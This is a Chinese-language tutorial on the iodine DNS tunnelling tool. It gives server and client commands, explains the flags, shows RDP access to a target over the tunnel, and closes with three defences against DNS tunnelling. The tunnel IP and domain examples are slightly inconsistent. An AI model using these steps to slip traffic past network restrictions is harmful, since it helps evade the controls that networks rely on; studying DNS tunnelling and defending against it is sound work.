DNS隧道工具:iodine使用


 
  iodine可以通過一台dns服務器制造一個IPv4數據通道,特別適合在目標主機只能發送dns請求的網絡中環境中使用。iodine是基於C語言開發的,分為服務端程序iodined和客戶端程序iodine。iodine支持EDNS、base32,base64,base128等多種編碼規范。
  
  
  iodine支持直接轉發和中繼兩種模式,其原理是通過TAP虛擬網卡,在服務端建立一個局域網;在客戶端,通過TAP建立一個虛擬網卡;兩者通過DNS隧道連接,處於同一局域網(可以通過ping命令通信)。在客戶端和服務端之間建立連接后,客戶機上會多出一塊“dns0”的虛擬網卡。
  
  DNS隧道流程:iodine客戶端->DNS服務商->iodined服務端,由於客戶端和服務端都在同一個局域網,那么只需要直接訪問服務端,如3389,就直接mstsc、10.0.0.1:3389。
更多使用方法和功能特性請參考官方文檔 https://code.kryo.se/iodine/
 
 
(1)安裝服務端
首先設置域名,要盡可能的使用短域名,域名越短,隧道的帶寬消耗就越小。設置A記錄iodine服務器的IP地址,將NS記錄指向此子域。
 
  安裝iodine服務端,如果是在windows中,需要安裝編譯好的對應版本的iodine。
    apt-get install iodine
 
  運行iodine服務端iodined
    iodined -f -c -P Micr067 192.168.0.1 vpn.abc.com -DD
    -f:在前台運行
    -c:禁止檢查所有傳入請求的客戶端IP地址。
    -P:客戶端和服務端之間用於驗證身份的密碼。
    -D:指定調試級別,-DD指第二級。“D”的數量隨級別增加。
    這里的192.168.0.1是自定義的局域網虛擬IP地址。
 
(2)安裝客戶端
 linux環境:
    iodine -f -P Micr067 vpn.abc.ltd -M 200
    -r:iodine有時會自動將DNS隧道切換為UDP隧道,該參數的作用是強制在任何情況下使用DNS隧道
    -M:指定上行主機的大小。
    -m:調節最大下行分片的大小。
    -T:指定DNS請求類型TYPE,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
    -O:指定數據編碼規范。
    -L:指定是否開啟懶惰模式,默認開啟。
    -I:指定兩個請求之間的時間間隔。
 
 windows環境:
  windows客戶端可以直接使用編譯好的windows版本,同時需要安裝TAP網卡驅動程序。也可以下載OpenVPN,在安裝時僅選擇TAP-Win32驅動程序,安裝后服務器上就會多出一塊“TAP-Wndows ADApter V9”的網卡。
  運行客戶端程序iodine,如果出現提示“Connection setup complete, transmitting data”,就表示DNS隧道已經建立。
  iodine -f -P Micr067 vpn.abc.com
 
此時,TCP over DNS已經建立,在客戶端執行“ping 192.168.0.1”測試是否連通。
 
(3)使用DNS隧道
  DNS隧道的使用方法比較簡單,由於客戶端和服務端在同一局域網中,只要直接訪問服務端即可,例如,登錄目標主機的3389端口,就可以直接執行 mstsc 10.0.0.1:3389。同樣,目標主機也可以直接通過ssh登錄服務端。
 
(4)防御DNS隧道攻擊的方法
  1.禁止網絡中任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信。
  2.雖然沒有人會將TXT解析請求發送給DNS服務器,但是郵件服務器/網關會這樣做,因此,可以將郵件服務器/網關列入白名單並阻止傳入和傳出流量中的TXT請求。
  3.跟蹤用戶的DNS查詢次數,如果達到閾值,就生成相應的報告。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2024 CODEPRJ.COM